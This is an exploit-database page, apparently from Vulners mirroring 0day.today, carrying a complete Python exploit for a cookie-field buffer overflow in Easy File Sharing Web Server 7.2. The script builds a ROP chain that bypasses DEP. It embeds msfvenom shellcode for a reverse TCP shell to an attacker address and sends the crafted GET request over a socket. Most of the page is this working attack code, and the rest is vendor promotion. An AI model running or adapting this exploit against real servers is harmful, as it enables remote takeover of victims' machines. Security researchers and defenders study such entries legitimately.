Lucene search
K

Easy File Sharing Web Server 7.2 - GET HTTP Request PassWD Buffer Overflow (DEP Bypass) Exploit

🗓️ 09 Jul 2017 00:00:00Reported by Sungchul ParkType 
zdt
 zdt
🔗 0day.today👁 37 Views

Easy File Sharing Web Server 7.2 GET Buffer Overflow (DEP Bypass with ROP) Exploit by Sungchul Park on Winows 7 SP

Code
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET Buffer Overflow (DEP Bypass with ROP)
# Date: 8 July 2017
# Exploit Author: Sungchul Park
# Author Contact: [email protected]
# Vendor Homepage: http://www.sharing-file.com
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: Winows 7 SP1
 
import socket, struct
 
def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        # For EDX -> flAllocationType(0x1000) [ EAX to EBX ]
        # 0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0xFFFFEFFF,  # -1001 (static value)
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
        0x1001614d,  # DEC EAX # RETN [ImageLoad.dll] 
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
         
        # For EDX -> flAllocationType(0x1000) [ EBX to EDX ]
        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
        0x10022c1e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 
        0xffffffff,  # Filler (Compensation for POP EBX)
         
        # For ESI -> &VirtualAlloc
        0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
        0xffffffff,  # Filler \
        0xffffffff,  # Filler  |
        0xffffffff,  # Filler  | => (Compensation for RETN 0x10)
        0xffffffff,  # Filler /
        0x1004d1fc,  # ptr to &VirtualAlloc() [IAT ImageLoad.dll]
        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 
        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll] 
        0x1001aeb4,  # POP ESI # RETN [ImageLoad.dll] 
        0xffffffff,  #  
        0x1001715d,  # INC ESI # ADD AL,3A # RETN [ImageLoad.dll] 
        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 
         
        # For EBP -> Return Address
        0x10013860,  # POP EBP # RETN [ImageLoad.dll] 
        0x61c24169,  # & push esp # ret  [sqlite3.dll]
         
        # For EBX -> dwSize(0x01)
        0x100132ba,  # POP EBX # RETN [ImageLoad.dll] 
        0xffffffff,  #  
        0x61c2785d,  # INC EBX # ADD AL,83 # RETN [sqlite3.dll] 
        0x1001f6da,  # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 
                 
        # For ECX -> flProtect(0x40)
        0x10019dfa,  # POP ECX # RETN [ImageLoad.dll] 
        0xffffffff,  #  
        0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
        0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
         
        # For EDI -> ROP NOP
        0x61c373a4,  # POP EDI # RETN [sqlite3.dll] 
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        # For EAX -> NOP(0x90)
        0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
        0x90909090,  # nop
        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
rop_chain = create_rop_chain()
 
# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.44.128 LPORT=8585 -b "\x00\x3b" -e x86/shikata_ga_nai -f python -v shellcode
shellcode = "\x90"*200
shellcode += "\xdb\xdd\xbb\x5e\x78\x34\xc0\xd9\x74\x24\xf4\x5e"
shellcode += "\x29\xc9\xb1\x54\x31\x5e\x18\x03\x5e\x18\x83\xc6"
shellcode += "\x5a\x9a\xc1\x3c\x8a\xd8\x2a\xbd\x4a\xbd\xa3\x58"
shellcode += "\x7b\xfd\xd0\x29\x2b\xcd\x93\x7c\xc7\xa6\xf6\x94"
shellcode += "\x5c\xca\xde\x9b\xd5\x61\x39\x95\xe6\xda\x79\xb4"
shellcode += "\x64\x21\xae\x16\x55\xea\xa3\x57\x92\x17\x49\x05"
shellcode += "\x4b\x53\xfc\xba\xf8\x29\x3d\x30\xb2\xbc\x45\xa5"
shellcode += "\x02\xbe\x64\x78\x19\x99\xa6\x7a\xce\x91\xee\x64"
shellcode += "\x13\x9f\xb9\x1f\xe7\x6b\x38\xf6\x36\x93\x97\x37"
shellcode += "\xf7\x66\xe9\x70\x3f\x99\x9c\x88\x3c\x24\xa7\x4e"
shellcode += "\x3f\xf2\x22\x55\xe7\x71\x94\xb1\x16\x55\x43\x31"
shellcode += "\x14\x12\x07\x1d\x38\xa5\xc4\x15\x44\x2e\xeb\xf9"
shellcode += "\xcd\x74\xc8\xdd\x96\x2f\x71\x47\x72\x81\x8e\x97"
shellcode += "\xdd\x7e\x2b\xd3\xf3\x6b\x46\xbe\x9b\x58\x6b\x41"
shellcode += "\x5b\xf7\xfc\x32\x69\x58\x57\xdd\xc1\x11\x71\x1a"
shellcode += "\x26\x08\xc5\xb4\xd9\xb3\x36\x9c\x1d\xe7\x66\xb6"
shellcode += "\xb4\x88\xec\x46\x39\x5d\x98\x43\xad\x9e\xf5\x60"
shellcode += "\xad\x77\x04\x79\x8c\x0e\x81\x9f\x9e\x40\xc2\x0f"
shellcode += "\x5e\x31\xa2\xff\x36\x5b\x2d\xdf\x26\x64\xe7\x48"
shellcode += "\xcc\x8b\x5e\x20\x78\x35\xfb\xba\x19\xba\xd1\xc6"
shellcode += "\x19\x30\xd0\x37\xd7\xb1\x91\x2b\x0f\xa0\x59\xb4"
shellcode += "\xcf\x49\x5a\xde\xcb\xdb\x0d\x76\xd1\x3a\x79\xd9"
shellcode += "\x2a\x69\xf9\x1e\xd4\xec\xc8\x55\xe2\x7a\x75\x02"
shellcode += "\x0a\x6b\x75\xd2\x5c\xe1\x75\xba\x38\x51\x26\xdf"
shellcode += "\x47\x4c\x5a\x4c\xdd\x6f\x0b\x20\x76\x18\xb1\x1f"
shellcode += "\xb0\x87\x4a\x4a\xc3\xc0\xb5\x08\xe1\x68\xde\xf2"
shellcode += "\xa5\x88\x1e\x99\x25\xd9\x76\x56\x0a\xd6\xb6\x97"
shellcode += "\x81\xbf\xde\x12\x47\x0d\x7e\x22\x42\xd3\xde\x23"
shellcode += "\x60\xc8\x37\xaa\x87\xef\x37\x4c\xb4\x39\x0e\x3a"
shellcode += "\xfd\xf9\x35\x35\xb4\x5c\x1f\xdc\xb6\xf3\x5f\xf5"
 
 
host = "192.168.44.139"
port = 80
 
max_size = 4000
seh_offset = 57
eax_offset = 73
rop_offset = 2788
 
buffer = "A" * seh_offset                   # padding
buffer += "BBBB"                            # nSEH Pointer
buffer += struct.pack("<I", 0x1002280a)      # SE Handler with stack pivot(# ADD ESP,1004 # RETN [ImageLoad.dll])
buffer += "A" * (eax_offset - len(buffer))  # padding
buffer += "DDDD"                            # EAX overwrite
buffer += "C" * rop_offset
buffer += rop_chain
buffer += shellcode
buffer += "B" * (max_size - len(buffer))    # padding
 
# HTTP GET Request
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" + "\r\n"
request += "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4" + "\r\n"
request += "Cookie: SESSIONID=3672; UserID=PassWD=" + buffer + "; frmUserName=; frmUserPass=;"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Thu, 06 Jul 2017 14:12:13 GMT" + "\r\n"
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
connect=s.connect((host, port))
 
s.send(request + "\r\n\r\n")
s.close()

#  0day.today [2018-04-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation